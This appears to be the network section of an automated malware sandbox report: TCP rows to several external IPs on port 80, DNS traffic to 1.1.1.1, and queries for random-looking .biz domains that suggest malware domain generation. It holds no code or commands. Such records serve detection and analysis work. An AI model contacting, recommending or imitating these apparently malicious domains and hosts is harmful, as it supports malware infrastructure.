Oct 28, 2024 16:40:31.321883917 CET	49992	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:31.322017908 CET	49992	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:31.322045088 CET	49992	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:31.327755928 CET	80	49992	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:31.327828884 CET	80	49992	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:31.346148014 CET	49988	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:40:31.996519089 CET	80	49992	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:31.999548912 CET	49992	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:32.217227936 CET	80	49992	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:32.217940092 CET	80	49992	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:32.217992067 CET	49992	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:32.218938112 CET	80	49992	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:32.643574953 CET	49996	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:32.649219036 CET	80	49996	34.211.97.45	192.168.2.8
Oct 28, 2024 16:40:32.649291992 CET	49996	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:32.656135082 CET	49996	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:32.656151056 CET	49996	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:32.661473036 CET	80	49996	34.211.97.45	192.168.2.8
Oct 28, 2024 16:40:32.661659956 CET	80	49996	34.211.97.45	192.168.2.8
Oct 28, 2024 16:40:33.482255936 CET	80	49996	34.211.97.45	192.168.2.8
Oct 28, 2024 16:40:33.482425928 CET	49996	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:33.488220930 CET	80	49996	34.211.97.45	192.168.2.8
Oct 28, 2024 16:40:33.488285065 CET	49996	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:33.497951031 CET	50000	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:33.503534079 CET	80	50000	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:33.503607035 CET	50000	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:33.503721952 CET	50000	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:33.503743887 CET	50000	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:33.509057045 CET	80	50000	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:33.509078026 CET	80	50000	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:34.194489002 CET	80	50000	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:34.194678068 CET	50000	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:34.200577021 CET	80	50000	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:34.200644970 CET	50000	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:34.216089010 CET	50004	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:34.221776009 CET	80	50004	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:34.221899033 CET	50004	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:34.222048044 CET	50004	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:34.222079039 CET	50004	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:34.227492094 CET	80	50004	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:34.227919102 CET	80	50004	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:35.788830996 CET	80	50004	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:35.830560923 CET	50004	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:35.973850965 CET	80	50004	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:35.974087954 CET	50004	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:36.074297905 CET	50004	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:36.377420902 CET	50004	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:36.523143053 CET	80	50004	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:36.524748087 CET	80	50004	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:36.524797916 CET	50004	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:36.530678034 CET	50010	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:36.536583900 CET	80	50010	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:36.536648989 CET	50010	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:36.536770105 CET	50010	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:36.536786079 CET	50010	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:36.542138100 CET	80	50010	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:36.542196989 CET	80	50010	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:37.370613098 CET	80	50010	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:37.370847940 CET	50010	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:37.376493931 CET	80	50010	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:37.379437923 CET	50010	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:37.388459921 CET	50012	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:37.393802881 CET	80	50012	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:37.393888950 CET	50012	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:37.395186901 CET	50012	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:37.395186901 CET	50012	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:37.400599957 CET	80	50012	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:37.400610924 CET	80	50012	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:38.248581886 CET	80	50012	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:38.272891998 CET	50012	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:38.279356003 CET	80	50012	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:38.281984091 CET	50012	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:38.292144060 CET	50017	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:38.298118114 CET	80	50017	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:38.300174952 CET	50017	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:38.300470114 CET	50017	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:38.300493002 CET	50017	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:38.305927992 CET	80	50017	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:38.306077003 CET	80	50017	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:39.132515907 CET	80	50017	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:39.145502090 CET	50017	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:39.151288986 CET	80	50017	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:39.151447058 CET	50017	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:39.163460970 CET	50022	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:39.168869019 CET	80	50022	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:39.168968916 CET	50022	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:39.169121981 CET	50022	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:39.169148922 CET	50022	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:39.175013065 CET	80	50022	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:39.175045967 CET	80	50022	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:39.831386089 CET	80	50022	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:39.832793951 CET	50022	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:39.838844061 CET	80	50022	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:39.838906050 CET	50022	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:39.849746943 CET	50024	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:39.855581045 CET	80	50024	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:39.855664015 CET	50024	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:39.855789900 CET	50024	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:39.855823994 CET	50024	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:39.861332893 CET	80	50024	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:39.862008095 CET	80	50024	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:40.517921925 CET	80	50024	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:40.518228054 CET	50024	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:40.524446011 CET	80	50024	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:40.526618004 CET	50024	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:40.542819023 CET	50028	80	192.168.2.8	72.52.178.23
Oct 28, 2024 16:40:40.548336983 CET	80	50028	72.52.178.23	192.168.2.8
Oct 28, 2024 16:40:40.549042940 CET	50028	80	192.168.2.8	72.52.178.23
Oct 28, 2024 16:40:40.549135923 CET	50028	80	192.168.2.8	72.52.178.23
Oct 28, 2024 16:40:40.549135923 CET	50028	80	192.168.2.8	72.52.178.23
Oct 28, 2024 16:40:40.554745913 CET	80	50028	72.52.178.23	192.168.2.8
Oct 28, 2024 16:40:40.554946899 CET	80	50028	72.52.178.23	192.168.2.8
Oct 28, 2024 16:40:41.242822886 CET	80	50028	72.52.178.23	192.168.2.8
Oct 28, 2024 16:40:41.243457079 CET	50028	80	192.168.2.8	72.52.178.23
Oct 28, 2024 16:40:41.243484020 CET	50028	80	192.168.2.8	72.52.178.23
Oct 28, 2024 16:40:41.248925924 CET	80	50028	72.52.178.23	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 16:38:35.624275923 CET	60324	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:35.632529020 CET	53	60324	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:36.946279049 CET	53035	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:36.954274893 CET	53	53035	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:37.459536076 CET	57338	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:37.467485905 CET	53	57338	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:38.823451042 CET	58432	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:38.831643105 CET	53	58432	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:38.949107885 CET	57669	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:38.956789017 CET	53	57669	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:40.871289015 CET	59041	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:40.879261017 CET	53	59041	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:43.556608915 CET	55588	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:43.564438105 CET	53	55588	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:46.202404022 CET	58503	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:46.396239042 CET	53	58503	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:47.159410954 CET	56656	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:47.166904926 CET	53	56656	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:48.606164932 CET	56554	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:48.613905907 CET	53	56554	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:48.615341902 CET	61521	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:48.623876095 CET	53	61521	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:50.537230968 CET	55363	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:50.546825886 CET	53	55363	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:50.547410965 CET	57465	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:50.556926012 CET	53	57465	1.1.1.1	192.168.2.8
Oct 28, 2024 16:38:50.557497978 CET	58568	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:38:50.566493988 CET	53	58568	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:01.604959011 CET	62001	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:01.613068104 CET	53	62001	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:13.164700031 CET	56098	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:13.173573017 CET	53	56098	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:14.842220068 CET	58645	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:14.849920034 CET	53	58645	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:16.751133919 CET	56932	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:16.759262085 CET	53	56932	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:17.738451004 CET	58574	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:17.746145964 CET	53	58574	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:20.100964069 CET	63262	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:20.519270897 CET	53	63262	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:22.240389109 CET	62786	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:22.248040915 CET	53	62786	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:24.315923929 CET	54613	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:24.323865891 CET	53	54613	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:25.140146971 CET	65290	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:25.149418116 CET	53	65290	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:26.361035109 CET	50021	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:26.370997906 CET	53	50021	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:28.000854969 CET	50103	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:28.008661985 CET	53	50103	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:28.889650106 CET	51690	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:28.897753000 CET	53	51690	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:30.378761053 CET	54693	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:30.582102060 CET	53	54693	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:31.531233072 CET	58533	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:31.538904905 CET	53	58533	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:32.455024958 CET	59383	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:32.462658882 CET	53	59383	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:34.449160099 CET	52584	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:34.458444118 CET	53	52584	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:35.794775963 CET	51125	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:35.803240061 CET	53	51125	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:37.570296049 CET	53151	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:37.578777075 CET	53	53151	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:38.830363035 CET	63846	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:38.839607954 CET	53	63846	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:39.964571953 CET	54016	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:39.979716063 CET	53	54016	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:41.770706892 CET	51640	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:41.780139923 CET	53	51640	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:42.887456894 CET	63275	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:42.894908905 CET	53	63275	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:44.152867079 CET	61734	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:44.161766052 CET	53	61734	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:46.147964001 CET	62910	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:46.156737089 CET	53	62910	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:46.157380104 CET	51792	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:46.165553093 CET	53	51792	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:47.568820953 CET	53528	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:47.577027082 CET	53	53528	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:48.741327047 CET	56550	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:48.934284925 CET	53	56550	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:50.795017004 CET	53890	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:50.802412033 CET	53	53890	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:52.598718882 CET	51782	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:52.607842922 CET	53	51782	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:53.934787035 CET	58439	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:53.943082094 CET	53	58439	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:55.556829929 CET	61811	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:55.564856052 CET	53	61811	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:58.469999075 CET	59435	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:58.477650881 CET	53	59435	1.1.1.1	192.168.2.8
Oct 28, 2024 16:39:59.471599102 CET	50378	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:39:59.479023933 CET	53	50378	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:00.157763958 CET	58672	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:00.166229010 CET	53	58672	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:01.841916084 CET	56822	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:01.849934101 CET	53	56822	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:02.913731098 CET	59606	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:02.922432899 CET	53	59606	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:04.276357889 CET	63945	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:04.284714937 CET	53	63945	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:06.479465961 CET	57877	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:06.486985922 CET	53	57877	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:07.327287912 CET	51229	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:07.335138083 CET	53	51229	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:08.806565046 CET	59111	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:08.815630913 CET	53	59111	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:09.686244965 CET	52273	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:09.693979025 CET	53	52273	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:09.694504976 CET	60021	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:09.702172041 CET	53	60021	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:11.149122953 CET	50792	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:11.158009052 CET	53	50792	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:12.129136086 CET	54578	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:12.137439013 CET	53	54578	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:14.576149940 CET	59871	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:14.584347010 CET	53	59871	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:16.064661026 CET	54924	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:16.074039936 CET	53	54924	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:16.758908987 CET	53857	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:16.767761946 CET	53	53857	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:17.894377947 CET	54740	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:17.902841091 CET	53	54740	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:18.585788012 CET	50898	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:18.775278091 CET	53	50898	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:19.631138086 CET	51293	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:19.640245914 CET	53	51293	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:22.523900986 CET	52750	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:22.532258987 CET	53	52750	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:23.970649004 CET	54497	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:23.977989912 CET	53	54497	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:24.999041080 CET	55218	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:25.007780075 CET	53	55218	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:26.653614998 CET	58893	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:26.852121115 CET	53	58893	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:27.725799084 CET	50773	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:27.733830929 CET	53	50773	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:28.600802898 CET	62309	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:28.608829975 CET	53	62309	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:30.484915972 CET	60637	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:30.492822886 CET	53	60637	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:31.300945997 CET	62787	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:31.309168100 CET	53	62787	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:32.000511885 CET	59243	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:32.220876932 CET	53	59243	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:33.483831882 CET	57871	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:33.492826939 CET	53	57871	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:34.195281982 CET	55359	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:34.204009056 CET	53	55359	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:36.102741957 CET	54131	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:36.523449898 CET	53	54131	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:37.371499062 CET	52652	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:37.379452944 CET	53	52652	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:38.273503065 CET	53088	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:38.282567978 CET	53	53088	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:39.146233082 CET	52176	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:39.154436111 CET	53	52176	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:39.833501101 CET	58097	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:39.842011929 CET	53	58097	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:40.518887997 CET	49457	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:40.527509928 CET	53	49457	1.1.1.1	192.168.2.8
Oct 28, 2024 16:40:40.528120041 CET	53351	53	192.168.2.8	1.1.1.1
Oct 28, 2024 16:40:40.536708117 CET	53	53351	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 16:38:35.624275923 CET	192.168.2.8	1.1.1.1	0x384	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:36.946279049 CET	192.168.2.8	1.1.1.1	0x4a9c	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:37.459536076 CET	192.168.2.8	1.1.1.1	0x3950	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:38.823451042 CET	192.168.2.8	1.1.1.1	0x1292	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:38.949107885 CET	192.168.2.8	1.1.1.1	0x921f	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:40.871289015 CET	192.168.2.8	1.1.1.1	0xa60	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:43.556608915 CET	192.168.2.8	1.1.1.1	0xfed0	Standard query (0)	cvgrf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:46.202404022 CET	192.168.2.8	1.1.1.1	0xb935	Standard query (0)	npukfztj.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:47.159410954 CET	192.168.2.8	1.1.1.1	0xf871	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:48.606164932 CET	192.168.2.8	1.1.1.1	0xe887	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:48.615341902 CET	192.168.2.8	1.1.1.1	0xcd4f	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:50.537230968 CET	192.168.2.8	1.1.1.1	0xb62	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:50.547410965 CET	192.168.2.8	1.1.1.1	0xb2dd	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:50.557497978 CET	192.168.2.8	1.1.1.1	0xd4c3	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:01.604959011 CET	192.168.2.8	1.1.1.1	0x500f	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:13.164700031 CET	192.168.2.8	1.1.1.1	0x93eb	Standard query (0)	xlfhhhm.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:14.842220068 CET	192.168.2.8	1.1.1.1	0xf8bf	Standard query (0)	ifsaia.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:16.751133919 CET	192.168.2.8	1.1.1.1	0x257f	Standard query (0)	saytjshyf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:17.738451004 CET	192.168.2.8	1.1.1.1	0x4ec9	Standard query (0)	vcddkls.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:20.100964069 CET	192.168.2.8	1.1.1.1	0x1b02	Standard query (0)	fwiwk.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:22.240389109 CET	192.168.2.8	1.1.1.1	0x32c8	Standard query (0)	tbjrpv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:24.315923929 CET	192.168.2.8	1.1.1.1	0x7ca5	Standard query (0)	deoci.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:25.140146971 CET	192.168.2.8	1.1.1.1	0x4f19	Standard query (0)	gytujflc.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:26.361035109 CET	192.168.2.8	1.1.1.1	0x1a5e	Standard query (0)	qaynky.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:28.000854969 CET	192.168.2.8	1.1.1.1	0xd8ba	Standard query (0)	bumxkqgxu.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:28.889650106 CET	192.168.2.8	1.1.1.1	0x59a	Standard query (0)	dwrqljrr.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:30.378761053 CET	192.168.2.8	1.1.1.1	0x35b8	Standard query (0)	nqwjmb.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:31.531233072 CET	192.168.2.8	1.1.1.1	0x60ad	Standard query (0)	ytctnunms.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:32.455024958 CET	192.168.2.8	1.1.1.1	0xcd8d	Standard query (0)	myups.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:34.449160099 CET	192.168.2.8	1.1.1.1	0x591d	Standard query (0)	oshhkdluh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:35.794775963 CET	192.168.2.8	1.1.1.1	0xf4be	Standard query (0)	yunalwv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:37.570296049 CET	192.168.2.8	1.1.1.1	0xd1c1	Standard query (0)	jpskm.biz	A (IP address)	IN (0x0001)	false
